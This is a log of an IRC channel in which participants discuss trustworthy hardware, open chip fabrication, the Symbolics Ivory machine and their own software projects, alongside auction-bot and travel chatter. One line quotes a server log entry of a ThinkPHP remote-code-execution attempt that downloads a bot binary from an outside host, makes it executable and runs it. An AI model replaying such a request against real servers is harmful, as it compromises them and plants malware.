1907154;1554593767;asciilifeform;*bootstrap
1907155;1554593798;OriansJ;asciilifeform: I am good with that as well; provided we actually bootstrap it properly
1907156;1554593806;asciilifeform;and specifically as illustration of the physical limits of thompsonism, in the abstract
1907157;1554593876;OriansJ;So, perhaps the most important question what has been actually decided about Sane Iron and what still needs definition?
1907158;1554593894;asciilifeform;1st , i cannot resist to ask, what is/was 'libresilicon' ?
1907159;1554593956;OriansJ;asciilifeform: it is a project for open source lithography, it currently is at the 1 micrometer process node and limited to around 1 million transistors at this time
1907160;1554593980;OriansJ;https://libresilicon.com/ https://media.ccc.de/v/35c3-9410-libresilicon
1907161;1554593984;asciilifeform;1um actually is entirely enough . what's it cost ?
1907162;1554594025;OriansJ;asciilifeform: sadly they haven't given that yet but let us just assume Industry costs (say $10K) per wafer
1907163;1554594041;asciilifeform;looking at the 'process steps' docs in the linked page, it seems to be a straight wikipedization of ordinary schoolbook description of ic fab process
1907164;1554594061;asciilifeform;i.e. there is nothing there to suggest that the author has discovered a peculiarly cheap method of fabbing ic
1907165;1554594093;OriansJ;asciilifeform: It isn't about cost because a Custom IC can be done for under $10K today in a 45nm process
1907166;1554594116;asciilifeform;OriansJ: the french already offer 8k (iirc) for 400nm . this is not the problem.
1907167;1554594129;asciilifeform;right, the problem is specifically that it's happening somewhere other than my kitchen.
1907168;1554594133;OriansJ;That is what the RISC-V people did with their 45nm chips
1907169;1554594140;asciilifeform;and i do not see anything in the linked recipe to suggest a kitchenable process.
1907170;1554594147;asciilifeform;it still demands hf, for instance
1907171;1554594255;OriansJ;asciilifeform: It is a guide for groups of people to pool together resources and setup a 1 micrometer fab to generate trusted chips. Yes it is far from optimal but it is a step in the right direction.
1907172;1554594268;asciilifeform;what asciilifeform is looking for, re ic fab breakthrough, is specifically a process that would be to ic what the cd recorder was to cd
1907173;1554594290;asciilifeform;i.e. turn '4000 square metres and 400 mil. $' process into tabletop.
1907174;1554594320;asciilifeform;OriansJ: what if my definition of 'trusted chip' is specifically where i own the gear and no other people are involved at any stage ?
1907175;1554594333;OriansJ;asciilifeform: something tells me you would be more excited about Xerox's plastic transistor technology
1907176;1554594353;asciilifeform;y'mean the 1 that was 'any day nao!' 20y ago ?
1907177;1554594369;asciilifeform;i'll happily buy it. along with the promised tabletop fusion plant...
1907178;1554594376;asciilifeform;also from same 20y.o. magazine..
1907179;1554594395;OriansJ;asciilifeform: honestly, the chemicals and the patents are still a mess in that field plus the never could produce a chip that could exceed 100khz
1907180;1554594422;asciilifeform;the only semiconductor i've so far baked with own hands is cu oxide diode.
1907181;1554594441;asciilifeform;beyond that, afaik state of the art is 'ha, very funny, you wanted what?!'
1907182;1554594480;asciilifeform;OriansJ: re patents, there's plenty of folx living in free world, who will piss on whatever patent simply for the pleasure of the piss
1907183;1554594487;asciilifeform;so patents in no case are the problem
1907184;1554594487;OriansJ;asciilifeform: well we can either wait for others to perform miracles or we can get off our asses and make them for the world to see.
1907185;1554594526;asciilifeform;OriansJ: 'open source' folx have a professional disease, where they succumb to temptation of redefining a difficult problem into a non-equivalent but easier one
1907186;1554594603;OriansJ;asciilifeform: back to my previous question. What actual really useful thing has been created in regards to Sane Iron so far?
1907187;1554594617;asciilifeform;!#s bolix ivory
1907188;1554594618;a111;20 results for "bolix ivory", http://btcbase.org/log-search?q=bolix%20ivory
1907189;1554594622;asciilifeform;^ best-known example.
1907190;1554594639;asciilifeform;full type-tagged memory, ecc, iron gc, etc. in 370k transistor.
1907191;1554594641;asciilifeform;1986.
1907192;1554594771;OriansJ;and programming information is where?
1907193;1554594772;asciilifeform;vendor supplied lisp, ada, fortran, even c, compilers , which interoperated to the point of safely calling proggy written in 1, from another
1907194;1554594800;OriansJ;No results on DDG
1907195;1554594804;asciilifeform;OriansJ: http://www.bitsavers.org/pdf/symbolics/I_Machine/ , http://www.bitsavers.org/pdf/symbolics/software/ , for starters.
1907196;1554594817;asciilifeform;i have the orig. paper docs, they fill a bookcase, but they're actually all mirrored there.
1907197;1554594871;asciilifeform;this was an actual commercial item, not laboratory prototype.
1907198;1554594914;asciilifeform;vendor killed itself via 'enron'-level mismanagement, imploded , so not much known about today outside of specific circles of sane-iron enthusiasts.
1907199;1554594937;OriansJ;ok; do we have software simulators such that people can start developing software for it while we solve the hardware side of the question?
1907200;1554594983;asciilifeform;OriansJ: there's an emulator , though not a cycle-accurate one . asciilifeform is (slowly) gathering the seekrits needed for cycle-accurate reproduction of the orig.
1907201;1554595035;OriansJ;asciilifeform: we don't need cycle-accurate; we just need good enough to be able to write the pieces that will run on it directly
1907202;1554595042;asciilifeform;largely to experiment with the orig. os , it was an item quite far ahead of what today is taught as 'state of art'. but the iron also imho is good starting point for hypothetical sane iron.
1907203;1554595081;OriansJ;Ok, so asciilifeform, you wish to improve upon it rather than use it?
1907204;1554595084;asciilifeform;OriansJ: you wouldn't want to build a new comp that replicates it entirely. for one thing, iirc could only address 256M , with no possib of expansion
1907205;1554595100;asciilifeform;OriansJ: correct.
1907206;1554595162;asciilifeform;from pov of this thread, it is a practical example that sane (i.e. typechecking & boundschecking of ALL memory accesses) iron in fact existed, and even fit in 1980s vlsi (2um)
1907207;1554595164;OriansJ;and have you put all the possible enhancements into a common place for reference?
1907208;1554595186;asciilifeform;OriansJ: in fact did. this common place , is http://btcbase.org/log/
1907209;1554595222;OriansJ;asciilifeform: that is not an effective mechanism of documentation reference
1907210;1554595244;asciilifeform;i find it quite effective.
1907211;1554595277;OriansJ;asciilifeform: which is fine if you expect to only work alone and have the work lost in the sands of time.
1907212;1554595297;asciilifeform;OriansJ is under the impression that asciilifeform works alone ?
1907213;1554595318;asciilifeform;i recommend to read the log. you will find that asciilifeform is not the only 1 who finds it effective reference.
1907214;1554595440;OriansJ;asciilifeform: Having spent time reading the log; I am less than impressed
1907215;1554595462;BingoBoingo;Some futher organization of the literature would probably help with initiations, but first asciilifeform needs to catch a transcription slave
1907216;1554595471;asciilifeform;i cannot resist to ask OriansJ , what exactly then is he doing here ?
1907217;1554595487;asciilifeform;there's, y'know, a whole net of elsewhere to be
1907218;1554595539;OriansJ;asciilifeform: I seek out potential; and I heard there was potential here.
1907219;1554595633;asciilifeform;potential of what , concretely ?
1907220;1554595690;OriansJ;Creating anything I find interesting or useful. Be it through mutual cooperation or single sided self-interest.
1907221;1554595752;asciilifeform;OriansJ: if you're interested in concrete approach of asciilifeform to design of iron, i invite to study http://nosuchlabs.com/hardware.html , item asciilifeform designed & sold ( two runs sold out 100% , possibly in near future we bake a 3rd, on ice40 and photoscintillator , as discussed in logs )
1907222;1554595885;asciilifeform;the engine http://btcbase.org/patches/fg-genesis/tree/fg.v incidentally is 100% siliconizable as it stands.
1907223;1554595919;asciilifeform;( and deterministically testable for 'doing what's printed on the box' . you pump a coupla TB of known bits through it, and observe that the expected outs in fact came out )
1907224;1554595974;asciilifeform;( bits known -- that is -- to you only )
1907225;1554596078;asciilifeform;http://btcbase.org/log/2018-10-24#1865586 << 1 variant.
1907226;1554596078;a111;Logged on 2018-10-24 16:55 asciilifeform: http://nosuchlabs.com/fg/photo/yoke.jpg << actual photo of procedure.
1907227;1554596159;asciilifeform;^ i.e. a unit suspected of containing hidden functionality vis-a-vis any other existing unit, can be 'slaved' to the latter , and the outputs compared.
1907228;1554596201;asciilifeform;imho this is an absolute ~minimal~ requirement for hypothetical sane irons of any other type.
1907229;1554596258;OriansJ;So classic multiprocessor lock-step computing common in space craft
1907230;1554596263;asciilifeform;exactly these
1907231;1554596268;asciilifeform;i do not claim to have invented the method.
1907232;1554596286;asciilifeform;cribbed directly from classical sov-engineering, like just about all other asciilifeform methods.
1907233;1554596319;OriansJ;asciilifeform: BESM-6 style engineering?
1907234;1554596354;OriansJ;interesting
1907235;1554596425;OriansJ;I would have expected more code-morph style engineering given that hardware style.
1907236;1554596432;asciilifeform;'мажоритарная логика' (majority-logic) in the general case, i do not recall what the english folx call it ( afaik they gave up on it errywhere other than orbit in recent yrs )
1907237;1554596439;asciilifeform;OriansJ: what's 'code-morph' ?
1907238;1554596490;OriansJ;https://en.wikipedia.org/wiki/Just-in-time_compilation
1907239;1554596504;OriansJ;https://en.wikipedia.org/wiki/Transmeta
1907240;1554596515;asciilifeform;how would this apply in re the linked device ?
1907241;1554596517;BingoBoingo;!!unrate OriansJ
1907242;1554596520;deedbot;Get your OTP: http://p.bvulpes.com/pastes/T4EDi/?raw=true
1907243;1554596521;asciilifeform;fg doesn't even contain a vonneumann cpu
1907244;1554596550;asciilifeform;it's a straight single-purpose logic circuit, would fit in a hundred or so 74xxx discretes if you felt like it
1907245;1554596555;BingoBoingo;!!v F06E043C1BCB91FB56B0AEA3D7A02B8F6074B5AB6455CFCC3D70684B0CF80687
1907246;1554596555;deedbot;BingoBoingo unrated OriansJ.
1907247;1554596573;asciilifeform;BingoBoingo: quick on the trigger finger today aintcha
1907248;1554596616;asciilifeform;!!rate OriansJ 1 neophyte / temp. voice
1907249;1554596621;deedbot;Get your OTP: http://p.bvulpes.com/pastes/zzoQ1/?raw=true
1907250;1554596649;asciilifeform;!!v 1905A8CAFC52E459F6524DA32B2709CD0894C1D627DD24BD83CA93FDFD3718A3
1907251;1554596649;deedbot;asciilifeform rated OriansJ 1 << neophyte / temp. voice
1907252;1554596656;BingoBoingo;asciilifeform: With the conversation going on I figured it's time to let someone else carry the voicing.
1907253;1554596672;asciilifeform;BingoBoingo: aite. i'ma lie down again soon tho
1907254;1554596683;BingoBoingo;Recover well
1907255;1554596706;asciilifeform;ty BingoBoingo
1907256;1554596805;asciilifeform;OriansJ: lotsa folx over the years landed in the logs, and thought 'these people sit and philosophize and what'. but plenty of examples of working mechanism , if yer interested to study. http://www.loper-os.org/?cat=49 for instance is a just-short-of-done constant-time 0-dependency cryptoarithmetizer.
1907257;1554596860;asciilifeform;i.e. performs, e.g. rsa, with zero conditional-on-inputs branch instructions, anywhere.
1907258;1554596882;asciilifeform;( and likewise zero input-variant memory addressing )
1907259;1554596887;BingoBoingo;Then there's the V
1907260;1554596897;asciilifeform;BingoBoingo: let the fella eat at own pace, or will choke
1907261;1554596901;asciilifeform;for all i know already choked
1907262;1554596929;OriansJ;asciilifeform: not choked, looking for more
1907263;1554596967;asciilifeform;OriansJ: then have, e.g., 'v' : http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system
1907264;1554596979;asciilifeform;^ is what we use for a versionatron. exclusively.
1907265;1554596995;asciilifeform;( observe, earlier linked fg, ffa , distributed strictly as vpatches )
1907266;1554597039;asciilifeform;other people have other projects, i was speaking strictly of own thus far.
1907267;1554597084;BingoBoingo;Also http://btcbase.org/patches with projects living in the dropdown menu
1907268;1554597149;asciilifeform;mircea_popescu & diana_coman for instance have a multiplayer game. lobbes has various useful automata (e.g. auction bot) . http://therealbitcoin.org exists. and plenty else.
1907269;1554597203;asciilifeform;ave1 has a bare-iron gnat port.
1907270;1554597239;asciilifeform;there's in fact moar than i can list from memory in coupla min.'s time and coupla log ln. of space.
1907271;1554597247;OriansJ;the javascript requirement is a bit odd though for the patches page
1907272;1554597268;asciilifeform;OriansJ: it displays sans js, you simply gotta manually throw in param after the '?' mark
1907273;1554597279;asciilifeform;( phf's www engine, btw. all q's to him. )
1907274;1554597289;asciilifeform;100% commonlisp.
1907275;1554597312;asciilifeform;re older asciilifeform items , there is e.g. http://phuctor.nosuchlabs.com/stats .
1907276;1554597370;OriansJ;asciilifeform: I've hit http://btcbase.org/patches?patchset=v and no it doesn't display without javascript enabled
1907277;1554597380;asciilifeform;^ bug report to phf ^
1907278;1554597423;BingoBoingo;It uses SVG
1907279;1554597433;asciilifeform;OriansJ: i gotta take off shortly. you will definitely want to speak to mp, whose chan this is. ( he is travelling but i expect will stop by some time in next coupla d )
1907280;1554597508;BingoBoingo;Anytime from minutes to weeks is possible.
1907281;1554597585;OriansJ;well; I guess we will have to see. Until then
1907282;1554597632;*;asciilifeform will bbl
1907283;1554602042;auctionbot;Buy order # 1046: 500 WFF, WU esta bien Heard: 130mn from lobbes outbidding jurov. Ending: 2019-04-07 12:12:39.925433 UTC (22 hours 12 mins)
1907284;1554607244;PeterL;!Xbid 1046 125mn
1907285;1554607245;auctionbot;Buy order # 1046: 500 WFF, WU esta bien Heard: 125mn from PeterL outbidding lobbes. Ending: 2019-04-07 12:12:39.925433 UTC (20 hours 46 mins)
1907286;1554626990;spyked;http://btcbase.org/log/2019-04-07#1907214 <-- don't you find it weird, though, that you say this, and then after just a few lines you http://btcbase.org/log/2019-04-07#1907238 ? this is not a rhetorical question: you're unimpressed by the recorded 5+yo history of discussions of a group of ~actual people~, and the reflection therein of their ~actually doing~ things; and then immediately you go on to referen
1907287;1554626990;a111;Logged on 2019-04-07 00:04 OriansJ: asciilifeform: Having spent time reading the log; I am less than impressed
1907288;1554626990;a111;Logged on 2019-04-07 00:21 OriansJ: https://en.wikipedia.org/wiki/Just-in-time_compilation
1907289;1554626996;spyked;ce the collection of writings of nobody in particular. do you see the dissonance there?
1907290;1554627027;spyked;from where I'm looking, this is precisely http://btcbase.org/log/2018-04-18#1802051
1907291;1554627027;a111;Logged on 2018-04-18 16:34 mircea_popescu: and they are that by personal, wholly owned choice. nobody asked them, or told them, or "made them" act in the specific manner of their subhuman nature, whereby "1. if it's not comfortable ~to me~ i'm 'not interested' because 2. i expect there's enough of us animals around so that 3. under the pressure of our wilful ignorance the republic will be forced to change and adapt."
1907292;1554635132;phf;http://btcbase.org/log/2019-04-07#1907277 << it works fine without the javascript, i use it regularly in lynx (and occasional exotic browsers like netsurf), but i suspect it will fail in a browser, that both fails to display SVG and then fails to display a link map
1907293;1554635132;a111;Logged on 2019-04-07 00:36 asciilifeform: ^ bug report to phf ^
1907294;1554635212;OriansJ;I would like to thank everyone here; for helping me to realize the importance of good documentation.
1907295;1554635308;OriansJ;phf: Tor-browser paranoid mode for reference
1907296;1554635438;phf;OriansJ: good luck with that
1907297;1554635760;OriansJ;phf: the cost of trying to interact with those that don't share one's values; for the sake of hopefully learning something of value or finding a fruitful cooperation.
1907298;1554636347;phf;OriansJ: i don't understand what your comment is in response to, would you mind elaborating
1907299;1554636922;OriansJ;phf: The choice of browser as per your previous comment
1907300;1554637236;phf;oh, why not put your explorations on a separate machine, and have one machine that's in actual working order? unless you've made a conscious choice not to support svg in your stack, your stack appears to be broken
1907301;1554637414;OriansJ;phf: It is on a seperate machine; The svg subset that isn't turing complete is enabled and working.
1907302;1554638159;phf;OriansJ: so why not browse btcbase patches from your regular machine?
1907303;1554638228;OriansJ;phf: I have no web browser on my regular machine nor any desire to add one.
1907304;1554638487;OriansJ;now I am willing to build from source tools (after an audit) that will work with v; so that I can interact with the patches directly but as I have not finished an audit nor trust anyone who has previously audited the code; I am left with the bad option of setting up a burn box to view the patches.
1907305;1554638567;phf;oh you just don't support html in general (presumably you still http with something like wget), i think your position would've been a lot stronger if you just said so, rather then something something tor browser. i'm vaguely curious what "non-turing complete svg subset" is, but that's a stone that will have to be turned some other time
1907306;1554638718;OriansJ; phf: well few people would understand that position; so I tend to express concepts in forms for general consumption. Even though it will result in loss of precision; as few people are technical enough to care about the details lost.
1907307;1554639475;OriansJ;phf: short version SVG that only supports lines and text but not SVG Animation or any of the other fun extras.
1907308;1554643443;phf;OriansJ: so i've thought about it, expressing concepts in forms for general consumption is a bad coping mechanism from a life time of being the smartest person in the room (assuming that it's not a ruse or self-delusion and you _are_ actually capable of clear thinking). problem is that it makes you lazy and rots the brain, and then when you're in the room of equals or superiors you suddenly discover that you're not practiced at
1907309;1554643444;phf;expressing yourself precisely and communicating clearly. another problem is that you yourself start thinking in shortcuts. and to what end? like take your svg comment, what's it supposed to accomplish? "oh, how interesting". anyway, please don't do it here.
1907310;1554647433;OriansJ;phf: I have always felt precise and clear communication can only occur when both parties are open to the expression to incomplete thoughts with the goal of synchronize understandings. Otherwise the communication style is forced into a form of data dumps with long load times and a general ineffectiveness of cooperation between individuals; particularly when the delta between individuals is large.
1907311;1554653053;asciilifeform;http://btcbase.org/log/2019-04-07#1907304 << i formerly thought that this was obvious from the [http://btcbase.org/log/2019-04-07#1907263][docs] , but you ~can~ operate on vpatches without a vtron ( they're edible by trad. unix 'patch' util, and you can verify the sigs with anyffin roughly gpg-like , also by hand )
1907312;1554653053;a111;Logged on 2019-04-07 12:01 OriansJ: now I am willing to build from source tools (after an audit) that will work with v; so that I can interact with the patches directly but as I have not finished an audit nor trust anyone who has previously audited the code; I am left with the bad option of setting up a burn box to view the patches.
1907313;1554653053;a111;Logged on 2019-04-07 00:29 asciilifeform: OriansJ: then have, e.g., 'v' : http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system
1907314;1554653187;asciilifeform;iirc we encountered 1 of these at least 1ce before -- a fella who didn't want to keep either python or perl around on his machine, but wanted to v
1907315;1554653191;asciilifeform;can't seem to find in log tho
1907316;1554653346;asciilifeform;http://btcbase.org/log/2019-04-07#1907286 << to make matters worse still -- i tried , but still cannot fathom what was the connection b/w the linked pediwikism and the thread..
1907317;1554653346;a111;Logged on 2019-04-07 08:49 spyked: http://btcbase.org/log/2019-04-07#1907214 <-- don't you find it weird, though, that you say this, and then after just a few lines you http://btcbase.org/log/2019-04-07#1907238 ? this is not a rhetorical question: you're unimpressed by the recorded 5+yo history of discussions of a group of ~actual people~, and the reflection therein of their ~actually doing~ things; and then immediately you go on to referen
1907318;1554653574;asciilifeform;!!up OriansJ
1907319;1554653574;deedbot;OriansJ voiced for 30 minutes.
1907320;1554653647;asciilifeform;OriansJ: you may find it interesting that a number of noobs wrote own vtron, rather than bothering to audit the old; the former is generally easier than the latter
1907321;1554654030;asciilifeform;phf: hrm i missed the http://btcbase.org/log/2019-04-07#1907295 ln. on init. read. patients with this symptom have exceedingly poor prognosis (witness e.g. Framedragger , succumbed to torcancer year+ after init. remission..) but it aint like the triage queue is full , thought worth try.
1907322;1554654030;a111;Logged on 2019-04-07 11:08 OriansJ: phf: Tor-browser paranoid mode for reference
1907323;1554658340;asciilifeform;!Qlater tell ben_vulpes is mimisbrunnr gone for good ?
1907324;1554658340;lobbesbot;asciilifeform: The operation succeeded.
1907325;1554658477;*;asciilifeform bbl:tea
1907326;1554661480;auctionbot;Buy order # 1046: 500 WFF, WU esta bien Heard: 120mn from jurov outbidding PeterL. Ending: 2019-04-07 12:12:39.925433 UTC (5 hours 42 mins)
1907327;1554662141;phf;bvt: do you mind signing http://btcbase.org/patches/vtools_tempfile_standalone_notmp the version at http://btcbase.org/data/vtools/vtools_tempfile_standalone_notmp.vpatch i reground it for keccak and new manifest
1907328;1554664239;asciilifeform;in other lulz :   200.77.147.186 - - [07/Apr/2019:15:38:49 -0400] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://love.thotiana.live/bins/x86.bot;cat%20x86.bot%20>%20fucklol;chmod%20777%20fucklol;./fucklol%20thinkphp HTTP/1.1" 301 185 "-" "WOW" "-"
1907329;1554664373;bvt;phf: http://bvt-trace.net/2018/10/vpatch-replacing-mktemp3-take-two/#selection-13.0-31.43
1907330;1554664821;phf;bvt: ty
1907331;1554672362;auctionbot;Buy order # 1046: 500 WFF, WU esta bien Heard: 114mn from PeterL outbidding jurov. Ending: 2019-04-07 12:12:39.925433 UTC (2 hours 40 mins)
1907332;1554673736;BingoBoingo;Quite a lot of bidding this month
1907333;1554674264;PeterL;seems to be a function of how far from the price listed elsewhere that you start it
1907334;1554681652;BingoBoingo;!!invoice whaack 0.018 Annual shared hosting on UY1
1907335;1554681658;deedbot;Get your OTP: http://p.bvulpes.com/pastes/k4pYa/?raw=true
1907336;1554681694;BingoBoingo;!!v B9D97AA2668E9986A2204EE916456DE94721DFFDAAFF03346AB307D155C64C7A
1907337;1554681698;deedbot;Invoiced whaack 0.018 << Annual shared hosting on UY1
1907338;1554682029;auctionbot;Buy order # 1046 has ENDED: 500 WFF, WU esta bien SOLD by PeterL for 114mn ecu. Attn: BingoBoingo
1907339;1554682119;PeterL;is it ok if I get that sent out first thing tomorrow?
1907340;1554683214;BingoBoingo;PeterL it is indeed
1907341;1554683238;BingoBoingo;Do you still have the WU information or should I GPGgram it again
1907342;1554687855;feedbot;http://qntra.net/2019/04/google-gives-up-on-assembling-ai-ethics-panel-over-irreconcilable-political-differences/ << Qntra -- Google Gives Up On Assembling AI Ethics Panel Over Irreconcilable Political Differences
1907343;1554708317;feedbot;http://bvt-trace.net/2019/04/mes-part-2-bootstrapping-guix/ << bvt's backtrace -- Mes, Part 2: Bootstrapping Guix
1907344;1554713674;mp_en_viaje;hola!
1907345;1554713819;mp_en_viaje;http://btcbase.org/log/2019-04-05#1906980 << yes ; progressing from a gentoo fork end, from an ada-as-systems-language end, from a bitcoin-has-to-be-an-os / needs-own-fs end, and from a few other too small to list yet.
1907346;1554713819;a111;Logged on 2019-04-05 22:17 OriansJ: So I hear there is some interest in bootstrapping architectures here
1907347;1554713926;mp_en_viaje;http://btcbase.org/log/2019-04-05#1906987 << the lordship list is over at http://trilema.com/2019/antiqua-sanctorum-patrum-or-the-lordship-list-sixth-year/ ; those are all (if not the only) contributors. in the immortal words of joe polito, "i'm telling you, as a courtesy. i need to do this thing, so it's gonna get done".
1907348;1554713926;a111;Logged on 2019-04-05 22:26 OriansJ: bvt: well to be honest, an Ada subset would be much easier to implement than a C subset; the problem however is always available contributors.
1907349;1554714372;mp_en_viaje;http://btcbase.org/log/2019-04-05#1906994 << the long term expectation, along with the only possible direction, is the republic prevailing, in this as any other matter. there's a lot of ideological debt you may be interested in i guess.
1907350;1554714372;a111;Logged on 2019-04-05 22:45 OriansJ: BingoBoingo: well I guess we need to discuss short term vs long term expectations as those pieces seem to be multiple pieces pulling in different directions
1907351;1554714740;mp_en_viaje;http://btcbase.org/log/2019-04-05#1907005 << this part is actually up in the air ; and premature yet for me to call for discussion or attempt a standardization process. from your pov, however, likely the most shocking aspect is that the republic doesn't consist of the usual developer, ie http://trilema.com/2018/and-in-todays-lulz-the-obnoxious-cocksucker/ aka the enthusiat dork who sees himself as some kind of trailblazer, finding new ways into the
1907352;1554714740;a111;Logged on 2019-04-05 22:51 OriansJ: well let me ask it this way; are you planning to use a posix subset or a subset which will portable upon posix and other OS bases?
1907353;1554714740;mp_en_viaje; unknown that'll then be travelled by "the many". the republic's not about the many, and our committment doesn't stem from or waver with adoption.
1907354;1554714836;mp_en_viaje;meanhile in local flavour, /me is having a very credible sasuage, bean, poached eggs on toast, extra stout guiness breakfast at this rather coquettish pub, while watching the waitress tryina pick up the maintenance man.
1907355;1554714895;mp_en_viaje;(she's not getting anywhere)
1907356;1554715039;mp_en_viaje;http://btcbase.org/log/2019-04-05#1907008 << this is so ; actually if you feel like writing an as-complete-as-feasible list / essay it'll prolly turn into quite the workable schelling point for further discussion there.
1907357;1554715039;a111;Logged on 2019-04-05 22:53 OriansJ: BingoBoingo: I agree POSIX has a great many flaws but there are some ideas inside of it worth preserving; especially in regards to bootstrapping.
1907358;1554715046;mp_en_viaje;got a blog ?
1907359;1554715086;mp_en_viaje;btw, how's the cold asciilifeform ?
1907360;1554715470;mp_en_viaje;http://btcbase.org/log/2019-04-05#1907014 << actually my own questiosn are different. line 1 : is this a live project or is it mostly scar tissue left behind a dead dude a la http://trilema.com/2016/cat-vorg-adnotated/ ; line 2 how pantsuit-infested is it, actually, can we work together or will we have to fork if we intend to. basically, "looks remarkably good, i wonder what's the catch" phase.
1907361;1554715470;a111;Logged on 2019-04-05 22:57 bvt: to my understanding there are two questions: 1. what are the requirements to the architecture 2. what is the first interim stop after a post-M1 assembler?
1907362;1554716003;mp_en_viaje;http://btcbase.org/log/2019-04-05#1907031 << one actually wants to have an [http://btcbase.org/log-search?q=antifuse][antifuse] boot rom, yes.
1907363;1554716003;a111;Logged on 2019-04-05 23:12 OriansJ: If one doesn't want to have a boot rom; one needs either a hardware tape reader (which writes tape to memory on power on and jumps to address 0 to run it or a toggle board. A serial bus just moves the bootstrap trust issue to another piece of hardware
1907364;1554716064;mp_en_viaje;phf, can there be had eta for http://btcbase.org/log/2019-02-05#1892960 then ?
1907365;1554716064;a111;Logged on 2019-02-05 18:46 phf: mircea_popescu: is the idea that message like [http://btcbase.org/log][logotron] will render it as just "logotron" in html?
1907366;1554716342;mp_en_viaje;http://btcbase.org/log/2019-04-05#1907037 << did you see the [http://www.loper-os.org/?p=3073][ivory xray sets] ? people here will trust what they can verify, quite literally. the trust model is built atop the [http://trilema.com/2014/what-the-wot-is-for-how-it-works-and-how-to-use-it/][wot], which is quite fundamental to how stuff works here.
1907367;1554716342;a111;Logged on 2019-04-05 23:25 OriansJ: well, I guess a really important question to ask is at what level of lithography people here actually have trust? (1 transistor, AND Gate in TTL, 100 Gate ALU, 1000 Gate ULA, 10000 Gate Asic, .... FPGA, 1B+ gate CPU, etc)
1907368;1554716447;mp_en_viaje;and by "stuff" i mean http://btcbase.org/log/2018-09-01#1846492 to http://btcbase.org/log/2018-10-09#1859711 transition and such.
1907369;1554716447;a111;Logged on 2018-09-01 03:10 mircea_popescu: anyone feel like going to qatar btw ?
1907370;1554716447;a111;Logged on 2018-10-09 06:08 diana_coman: oh hey, how's Qatar, Mocky ?
1907371;1554716545;diana_coman;oh hi mp_with_bratwurst
1907372;1554716604;mp_en_viaje;hola!
1907373;1554716614;mp_en_viaje;not in munchen nomoar.
1907374;1554716649;diana_coman;better seats?
1907375;1554716658;mp_en_viaje;much.
1907376;1554716760;mp_en_viaje;and talking of zee germanz : a) lufthansa dun have offices anymore, it only deals through agents ; b) which charge a fee ON TOP OF A FEE. because lufthansa not only doesn't operate offices anymore -- it charges anyone who does 16 euros. it's like they think they're a happening nightclub or something, gotta pay a cover to be allowed to pay for drinks.
1907377;1554716825;mp_en_viaje;but! c) i show up, explain i got 3 people but ~200kgs of luggage (i'm fucking diana ross over here) and their idea was to.... pay for ticket, after which show up at airport, ~with no carrier guarantee whatsoever~. "pay us so many thousands to put yourself in such a spot, we can ask for any moar moneyz we think of".
1907378;1554716846;mp_en_viaje;who the fuck does business like this ? besides pichis, thieves & co ?!
1907379;1554716966;diana_coman;lolz; lufthansa has been going very sad over the so-many-years really
1907380;1554716982;mp_en_viaje;they used to have 100% of my euro biz, back when i last was in yurp.
1907381;1554717012;mp_en_viaje;then again, british also had my business in the 90s. they went early & bravely into sad nobody had sadded before.
1907382;1554717435;diana_coman;200kg of luggage for 3 people?!! lmao
1907383;1554717475;mp_en_viaje;http://btcbase.org/log/2019-04-05#1907026 << i can't conceive what small endian ~even is for~. what is it for ? i'm against even supporting it altogether, you want to computer, use a computer that netowrk oders.
1907384;1554717475;a111;Logged on 2019-04-05 23:06 OriansJ: Big Endian instruction and data encoding seem the most obvious great ideas for simplifying the task of bootstrapping (especially in regards to troubleshooting)
1907385;1554717507;mp_en_viaje;diana_coman, stripper heels, buttplugs, electronics, i got like 14 suits... it's heavy, what.
1907386;1554717557;mp_en_viaje;200kgs for one thing ; and then... at a bitcoin a kg or some shit...
1907387;1554717639;diana_coman;it's not hard to have a lot of luggage, sure; though I never really regretted having smaller luggage as it were (and I almost always find it too big, too much anyway!)
1907388;1554717673;mp_en_viaje;depends what you're doijng, you know, if i go to visit prague for a week i don't take the whole menagerie.
1907389;1554717687;diana_coman;true
1907390;1554717690;mp_en_viaje;but since ima be this side for a while...
1907391;1554717696;mp_en_viaje;not like i took the cars or etc.
1907392;1554717707;mp_en_viaje;ALL MUH ARTWERKS!!!
1907393;1554717709;diana_coman;I wanted to ask whether Bartholomew went back to its roots!!
1907394;1554717716;mp_en_viaje;naa
1907395;1554718098;mp_en_viaje;fucking "memories of datapoint" anti-design bullshit. bleargh.
1907396;1554719441;mp_en_viaje;in other obscura, since this apparently wasn't yet in the logs : re http://btcbase.org/log/2013-04-15#-12420 , winlink!
1907397;1554719441;a111;Logged on 2013-04-15 00:28 asciilifeform: mircea_popescu: possibly relevant to your future "Bitcoin over shortwave" station:  http://www.dtic.mil/dtic/tr/fulltext/u2/a207831.pdf
1907398;1554719480;mp_en_viaje;"The system used to run several central message servers around the world for redundancy, but in 2017-2018 upgraded to Amazon Web Services that provides a geographically-redundant cluster of virtual servers with dynamic load balancers and global content-distribution." ie well ripe.
1907399;1554720151;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907040 << this is actually a solid point.
1907400;1554720151;a111;Logged on 2019-04-06 00:45 OriansJ: I've been exploring the logs and one thing you may wish to know about bootstrapping MIPS is humans writing assembly need only 7 registers (I round up to 16 to include Stack pointer(s) and Condition register(s) and if my goal was optimize for C compiler performance, I would have gone with 64 registers (architecturally unified between the Integer unit and the Floating point unit but leveraging the trick of the DEC Alpha 21264 and
1907401;1554720278;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907044 << i actually don't think "floating point" is a good idea altogether.
1907402;1554720278;a111;Logged on 2019-04-06 01:00 OriansJ: We definitely don't need hardware support for floating point though (just a set of defined encodings for floating point instructions and a clean exception mechanism which allows an operating system or a library to implement via software routines)
1907403;1554720323;mp_en_viaje;it's arguably a defensive hack in the era of the 8 bit byte ; but with 64 bit bytes... gimme a break, what does legacy nonsense buy anyone. no "floats".
1907404;1554720514;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907057 << it was remarkably painless in munich ; some turkish i think dood in a tobacconist-7/11mix, took all of five minutes.
1907405;1554720514;a111;Logged on 2019-04-06 12:28 diana_coman: it seems quite surprising to me there isn't more interest but tbf I haven't used local WU ever, would need to even look it up, lol.
1907406;1554720546;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907058 << wait, what ?!
